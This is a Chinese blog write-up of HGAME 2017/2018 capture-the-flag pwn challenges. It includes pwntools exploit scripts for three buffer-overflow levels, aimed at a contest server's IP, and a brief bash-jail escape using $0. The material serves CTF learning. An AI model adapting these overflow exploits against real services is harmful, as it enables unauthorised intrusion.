HGAME 2017 or 2018 PWN levels

本文详细介绍了HGAME 2017或2018年PWN类挑战的解决过程,包括各种缓冲区溢出、格式字符串漏洞、堆溢出等技术的利用,涉及ida分析、exp编写等内容,适合逆向工程和安全研究爱好者学习。
摘要由CSDN通过智能技术生成

这个算是做之前的复现吧,感谢Veritas501

WEEK1

1.flag server

拖进IDA看一下

流程倒着看,要有flag-----v8=1-----v5=v6-----s1=admin,我们可以把s1覆盖掉-----username长度不能大于63,不能等于0-----之后还要猜出随机数v6,看一下怎么覆盖

这些变量都在一起,美滋滋

exp

from pwn import *

cn=remote('111.230.149.72',30001)

cn.sendline('xiaoyuyu')
cn.recvuntil("your username length: ")
cn.sendline('-1')
payload='a'*(0x50-0x10)+p64(1)
cn.recvuntil("whats your username?")
cn.sendline(payload)
cn.interactive()

2.guess number

scanf直接溢出就好了,如下

a1和nptr的偏移量 0x10C+0x8

exp

from pwn import *

cn=remote('111.230.149.72',30002)

cn.sendline("xiaoyuyu")

payload='0'*(0x10C+0x8)+p64(0)

cn.send(payload)

cn.interactive()

3.zazahui

这次有两个文件,古天乐和正常的

拖进IDA

里面两个函数,第一个是个file open之类的,读取flag和ad的值,第二个函数如下

感觉没啥溢出的地方,跟进函数sub_8048634

基本可以猜测出就是个read函数,范围是188,我们可以看到s1的范围从0xC0到0x10,只有176,那么这个函数就溢出了,把读取的地址改到flag的地址,同时有一点要注意,要把v3变成100,不然flag读不出来

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
        cn = process('./zazahui')
        bin = ELF('./zazahui')
        #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
        cn = remote('111.230.149.72',30003)
        bin = ELF('./zazahui')
        libc = ELF('./libc32.so')


def z(a=''):
        gdb.attach(cn,a)
        if a == '':
                raw_input()

cn.sendline("xiaoyuyu")
flag_addr=0x0804A060
payload='a'*176+p32(flag_addr)+p32(100)
cn.recvuntil('> ')
cn.sendline(payload)

cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780

WEEK2

4.bash jail

可还行,拖进IDA看一下

我第一反应是把Lineptr改成/bin/sh

分析一下里面的函数,400706里面的意思是如果开头输入的是(a,b,c,f,h,g,i,l,n,s,t,*)会输出hacker!! go away~~ QAQ

那我们输入数字试一下,情况如下

大概了解了,应该是shell的脚本,在shell里面有如下这些

我就试着$0,然后打我想要的指令,竟然成功了,原理要是不是这样的,不要喷我,

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值